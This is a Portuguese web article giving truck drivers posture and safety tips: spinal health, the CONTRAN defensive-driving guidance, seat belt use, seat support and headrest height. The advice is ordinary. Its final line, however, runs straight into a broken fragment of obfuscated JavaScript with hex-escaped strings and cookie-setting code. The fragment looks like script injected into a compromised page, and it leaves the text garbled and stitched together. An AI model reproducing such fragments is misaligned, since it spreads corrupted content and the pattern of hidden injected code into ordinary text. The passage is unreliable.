Dicas para conduzir o caminhão com uma postura segura

A coluna vertebral, composta por vértebras cervicais, torácicas e lombares, tem como função principal a diminuição do atrito entre vértebras e amortecendo possíveis impactos. Com o tempo, os discos intervertebrais se desgastam, e o seu uso repetitivo pode ocasionar a formação de patologias no corpo, como o surgimento de hérnias de disco.

Os nervos devem ser protegidos, e a região lombar e cervical são áreas mais expostas e, devido a isso, passíveis com mais facilidades fraturas e dores na coluna. A postura correta é uma ação preventiva, não adotada por muitos condutores, que é importante para a manutenção da saúde. Uma postura correta é fundamental para a segurança no trânsito, além de ser um fator considerável para evitar o desgaste físico.

O Conselho Nacional de Trânsito (CONTRAN) determina em seu código de Direção Defensiva e de Primeiros Socorros normas que devem ser adotadas a fim da manutenção da boa saúde do condutor. O ato de segurar o volante com as duas mãos, por exemplo, é considerada pelo Conselho uma ação fundamental, a qual requer uma postura correta para que o condutor tenha acesso ao painel e aos comandos do automóvel. Outras ações são:

• Uso do cinto de segurança:

O cinto de segurança fomenta ao motorista o ajuste firme no veículo, e a proteção sobre o tórax que em casos de acidentes é uma medida preventiva fundamental.

• Apoio do corpo no assento

O apoio do corpo junto ao assento é fundamental tal como dirigir com os braços e pernas devidamente dobradas no banco. Com isso, o condutor diminui, em casos de acidentes, lesões graves (como danos na coluna vertebral). Além disso, é importante manter um ângulo de 90 graus no assento, e manter o encosto de cabeça conforma a altura do condutor, ou ocupante do veículo.

As ações citadas são métodos preventivos, os quais constam no manual da Direção Defensiva e de Primeiros Socorros. Os motoristas devem, portanto, automatizar essas ações que trazem inúmeros benefícios para a saúde e para a segurança do condutor nas rodovias e estradas do país.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]